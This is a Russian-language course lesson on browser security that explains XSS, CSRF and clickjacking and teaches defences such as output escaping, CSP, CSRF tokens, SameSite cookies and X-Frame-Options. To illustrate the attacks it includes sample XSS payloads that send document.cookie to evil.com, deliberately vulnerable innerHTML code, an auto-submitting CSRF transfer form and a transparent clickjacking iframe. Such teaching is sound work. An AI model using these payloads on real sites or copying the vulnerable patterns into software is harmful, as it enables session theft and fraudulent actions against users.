← Курс/Безопасность в браузере: XSS, CSRF, clickjacking#137 из 257+40 XP

Безопасность в браузере: XSS, CSRF, clickjacking

Краткий ответ

XSS (Cross-Site Scripting) — внедрение вредоносного JS через пользовательский ввод; защита: экранирование вывода, CSP, textContent вместо innerHTML. CSRF (Cross-Site Request Forgery) — выполнение запросов от имени авторизованного пользователя; защита: CSRF-токены, SameSite cookie. Clickjacking — скрытый iframe для перехвата кликов; защита: X-Frame-Options, CSP frame-ancestors.

Полный разбор

XSS — Cross-Site Scripting

**Как работает:** злоумышленник встраивает JS-код в страницу через ввод, который сайт отображает без экранирования.

// УЯЗВИМЫЙ КОД — Reflected XSS
// URL: /search?q=<script>fetch('evil.com?c='+document.cookie)</script>
function renderSearchResults(query) {
  document.getElementById('results').innerHTML =
    'Результаты для: ' + query  // ОПАСНО! query может быть <script>
}

// УЯЗВИМЫЙ КОД — DOM-based XSS
const name = new URLSearchParams(location.search).get('name')
document.getElementById('greeting').innerHTML = 'Привет, ' + name
// URL: /page?name=<img src=x onerror=alert(1)>

// БЕЗОПАСНЫЙ КОД — textContent не выполняет HTML
document.getElementById('greeting').textContent = 'Привет, ' + name
// <img src=x onerror=alert(1)> отобразится как текст, не выполнится

// Если HTML всё же нужен — экранируй специальные символы
function escapeHtml(unsafe) {
  return unsafe
    .replace(/&/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#039;')
}

document.getElementById('results').innerHTML =
  'Результаты для: ' + escapeHtml(query)  // безопасно

Типы XSS:

  • **Reflected** — скрипт в URL, сервер отражает его в ответе
  • **Stored** — скрипт сохранён в БД (например, в комментарии)
  • **DOM-based** — скрипт из URL/localStorage обрабатывается JS на клиенте
  • Content Security Policy (CSP):

    // HTTP заголовок: запрещает inline-скрипты и загрузку скриптов с других доменов
    Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-abc123'
    // 'self' — только с того же домена
    // 'nonce-abc123' — inline-скрипты только с этим nonce атрибутом

    CSRF — Cross-Site Request Forgery

    **Как работает:** пользователь авторизован на bank.com. Заходит на evil.com, который автоматически отправляет запрос к bank.com с куками пользователя.

    <!-- evil.com — скрытая форма, отправляет деньги от имени жертвы -->
    <img src="https://bank.com/transfer?to=attacker&amount=1000">
    <!-- GET-запрос выполняется автоматически при загрузке страницы -->
    
    <!-- Или POST форма с автосабмитом: -->
    <form action="https://bank.com/transfer" method="POST">
      <input type="hidden" name="to" value="attacker">
      <input type="hidden" name="amount" value="1000">
    </form>
    <script>document.forms[0].submit()</script>

    Защита — CSRF-токен:

    // Сервер генерирует уникальный токен и сохраняет в сессии
    // Клиент отправляет токен с каждым запросом
    
    // При рендеринге формы:
    // <input type="hidden" name="csrf_token" value="abc123xyz">
    
    // Валидация на сервере:
    function validateCSRF(req) {
      const tokenFromBody = req.body.csrf_token
      const tokenFromSession = req.session.csrf_token
    
      if (!tokenFromBody || tokenFromBody !== tokenFromSession) {
        throw new Error('CSRF validation failed')
      }
    }
    
    // Для API (AJAX): токен в заголовке
    // fetch('/api/transfer', {
    //   headers: { 'X-CSRF-Token': getCsrfToken() },
    //   method: 'POST',
    //   body: JSON.stringify({ to: 'recipient', amount: 100 })
    // })

    Защита — SameSite Cookie:

    // Куки с SameSite=Strict не отправляются при cross-site запросах
    Set-Cookie: session=abc123; SameSite=Strict; Secure; HttpOnly
    
    // SameSite=Lax — не отправляется в POST из другого домена (умеренная защита)
    // SameSite=None — отправляется всегда (нужно Secure)

    Clickjacking — перехват кликов

    **Как работает:** страница злоумышленника накладывает прозрачный iframe с целевым сайтом, пользователь кликает «думая, что кликает» на элемент мошеннической страницы.

    /* evil.com overlay — прозрачный iframe поверх кнопки "Выиграй приз!" */
    iframe {
      opacity: 0;
      position: absolute;
      top: 100px;
      left: 200px;  /* выровнен так, что кнопка "Удалить аккаунт" под кнопкой "Выиграй" */
    }

    Защита:

    // HTTP заголовок — запрещает встраивать страницу в iframe
    X-Frame-Options: DENY           // нельзя встраивать нигде
    X-Frame-Options: SAMEORIGIN     // только с того же домена
    
    // Современный способ через CSP:
    Content-Security-Policy: frame-ancestors 'none'
    Content-Security-Policy: frame-ancestors 'self' https://trusted.com

    Атрибуты Cookie: полная защита

    Set-Cookie: session=abc123;
      HttpOnly;    // недоступен через document.cookie (защита от XSS)
      Secure;      // только по HTTPS
      SameSite=Strict;  // защита от CSRF
      Path=/;
      Max-Age=3600  // 1 час

    Проверка Origin заголовка

    // Сервер проверяет, что запрос пришёл с ожидаемого домена
    function checkOrigin(req) {
      const origin = req.headers['origin']
      const allowedOrigins = ['https://myapp.com', 'https://www.myapp.com']
    
      if (!allowedOrigins.includes(origin)) {
        throw new Error('Forbidden: unexpected origin')
      }
    }

    Связанные уроки курса

  • Fetch и HTTP — запросы, заголовки, которые защищают от CSRF
  • CORS — механизм управления cross-origin запросами
  • Куки — атрибуты HttpOnly, Secure, SameSite
  • Фреймы и окна — iframe, postMessage, clickjacking
  • Как отвечать на собеседовании

    Структурируй ответ по трём угрозам: XSS → CSRF → Clickjacking. Для каждой: «как атакующий использует», «что уязвимо в коде», «как защититься». Для XSS обязательно скажи про textContent vs innerHTML и про CSP. Для CSRF — про CSRF-токены и SameSite. Для Clickjacking — про X-Frame-Options. Упомяни атрибуты HttpOnly и Secure для кук — они сквозные для XSS и CSRF.

    Красные флаги ответа

  • «Я просто не доверяю пользователям» без технических мер — «не доверять» не защищает, нужны конкретные механизмы: экранирование, CSP, токены
  • Незнание разницы между XSS и CSRF — это принципиально разные атаки: XSS выполняет код, CSRF подделывает запросы
  • Использование innerHTML с пользовательскими данными «ради производительности» — это прямая XSS уязвимость, нет оправданий
  • Примеры

    Демонстрация XSS уязвимости и безопасной версии, CSRF-токен валидация, анализ атрибутов кук

    // ===== XSS: УЯЗВИМОСТЬ И ЗАЩИТА =====
    console.log('=== XSS: уязвимость и защита ===')
    
    // Функция экранирования HTML
    function escapeHtml(unsafe) {
      return String(unsafe)
        .replace(/&/g, '&amp;')
        .replace(/</g, '&lt;')
        .replace(/>/g, '&gt;')
        .replace(/"/g, '&quot;')
        .replace(/'/g, '&#039;')
    }
    
    // Симулируем пользовательский ввод с XSS-попыткой
    const maliciousInput = '<script>alert("XSS!")</script>'
    const maliciousImg   = '<img src=x onerror="fetch('evil.com?c='+document.cookie)">'
    const maliciousA     = '<a href="javascript:alert(1)">Click me</a>'
    
    console.log('ОПАСНЫЙ вывод (innerHTML):')
    console.log('  Было бы выполнено:', maliciousInput)
    console.log('  Было бы выполнено:', maliciousImg)
    
    console.log('\nБЕЗОПАСНЫЙ вывод (после escapeHtml):')
    console.log('  Отобразится как текст:', escapeHtml(maliciousInput))
    console.log('  Отобразится как текст:', escapeHtml(maliciousImg))
    console.log('  Отобразится как текст:', escapeHtml(maliciousA))
    
    // Безопасное создание HTML элементов
    function createSafeElement(tag, text, className) {
      // В браузерной среде использовали бы:
      // const el = document.createElement(tag)
      // el.textContent = text  // НЕ innerHTML!
      // el.className = className
      // return el
    
      // Для демонстрации возвращаем строку
      return `<${tag} class="${escapeHtml(className)}">${escapeHtml(text)}</${tag}>`
    }
    
    const userInput = '<script>stealData()</script>'
    console.log('\nБезопасный элемент:', createSafeElement('p', userInput, 'user-content'))
    
    // ===== CSRF: ТОКЕН И ВАЛИДАЦИЯ =====
    console.log('\n=== CSRF: генерация и валидация токена ===')
    
    // Генерация CSRF-токена (на сервере)
    function generateCSRFToken() {
      // В реальности: crypto.randomBytes(32).toString('hex')
      // Эмуляция для Node.js среды
      const chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'
      let token = ''
      for (let i = 0; i < 32; i++) {
        token += chars[Math.floor(Math.random() * chars.length)]
      }
      return token
    }
    
    // Эмуляция серверной сессии
    const serverSession = {
      userId: 'user123',
      csrfToken: generateCSRFToken()
    }
    
    console.log('CSRF токен из сессии:', serverSession.csrfToken)
    
    // Валидация CSRF на сервере
    function validateCSRFToken(requestToken, sessionToken) {
      if (!requestToken || !sessionToken) {
        return { valid: false, error: 'Токен отсутствует' }
      }
    
      // Timing-safe comparison (в реальности: crypto.timingSafeEqual)
      if (requestToken !== sessionToken) {
        return { valid: false, error: 'Токен не совпадает' }
      }
    
      return { valid: true }
    }
    
    // Легитимный запрос (с правильным токеном)
    const legitimateRequest = {
      headers: { 'X-CSRF-Token': serverSession.csrfToken },
      body: { amount: 100, to: 'recipient' }
    }
    
    // CSRF атака (без токена или с неправильным)
    const csrfAttack = {
      headers: {},  // токен не добавлен
      body: { amount: 1000, to: 'attacker' }
    }
    
    console.log('Легитимный запрос:',
      validateCSRFToken(legitimateRequest.headers['X-CSRF-Token'], serverSession.csrfToken))
    
    console.log('CSRF атака:',
      validateCSRFToken(csrfAttack.headers['X-CSRF-Token'], serverSession.csrfToken))
    
    console.log('Неверный токен:',
      validateCSRFToken('wrong-token-here', serverSession.csrfToken))
    
    // ===== АНАЛИЗ COOKIE АТРИБУТОВ =====
    console.log('\n=== Атрибуты Cookie: безопасный vs небезопасный ===')
    
    function analyzeCookieSecurity(cookieHeader) {
      const flags = {
        HttpOnly: cookieHeader.includes('HttpOnly'),
        Secure:   cookieHeader.includes('Secure'),
        SameSite: cookieHeader.match(/SameSite=(\w+)/)?.[1] || 'не установлен',
      }
    
      const issues = []
      if (!flags.HttpOnly) issues.push('Без HttpOnly: JS может читать куку (XSS риск)')
      if (!flags.Secure)   issues.push('Без Secure: передаётся по HTTP (man-in-the-middle)')
      if (flags.SameSite === 'None') issues.push('SameSite=None: уязвимо к CSRF')
      if (flags.SameSite === 'не установлен') issues.push('SameSite не установлен: CSRF риск')
    
      return { flags, issues, secure: issues.length === 0 }
    }
    
    const insecureCookie = 'session=abc123; Path=/'
    const secureCookie   = 'session=abc123; HttpOnly; Secure; SameSite=Strict; Path=/'
    const partialCookie  = 'session=abc123; HttpOnly; Path=/'
    
    console.log('Небезопасная кука:')
    console.log(analyzeCookieSecurity(insecureCookie))
    
    console.log('\nБезопасная кука:')
    console.log(analyzeCookieSecurity(secureCookie))
    
    console.log('\nЧастично защищённая:')
    console.log(analyzeCookieSecurity(partialCookie))
    
    // ===== ПРОВЕРКА CSP ЗАГОЛОВКА =====
    console.log('\n=== Content Security Policy ===')
    
    const cspExamples = {
      strict: "default-src 'self'; script-src 'self'; style-src 'self'; img-src 'self' data:",
      moderate: "default-src 'self'; script-src 'self' 'unsafe-inline'; img-src *",
      weak: "default-src *; script-src 'unsafe-inline' 'unsafe-eval'",
    }
    
    function evaluateCSP(csp) {
      const issues = []
      if (csp.includes('unsafe-inline')) issues.push("'unsafe-inline': inline-скрипты разрешены (XSS риск)")
      if (csp.includes('unsafe-eval'))  issues.push("'unsafe-eval': eval() разрешён (XSS риск)")
      if (csp.includes("default-src *")) issues.push("default-src *: любые источники (слабая защита)")
      return { issues, level: issues.length === 0 ? 'Строгий' : issues.length === 1 ? 'Умеренный' : 'Слабый' }
    }
    
    for (const [name, csp] of Object.entries(cspExamples)) {
      console.log(`\nCSP "${name}":`, evaluateCSP(csp))
    }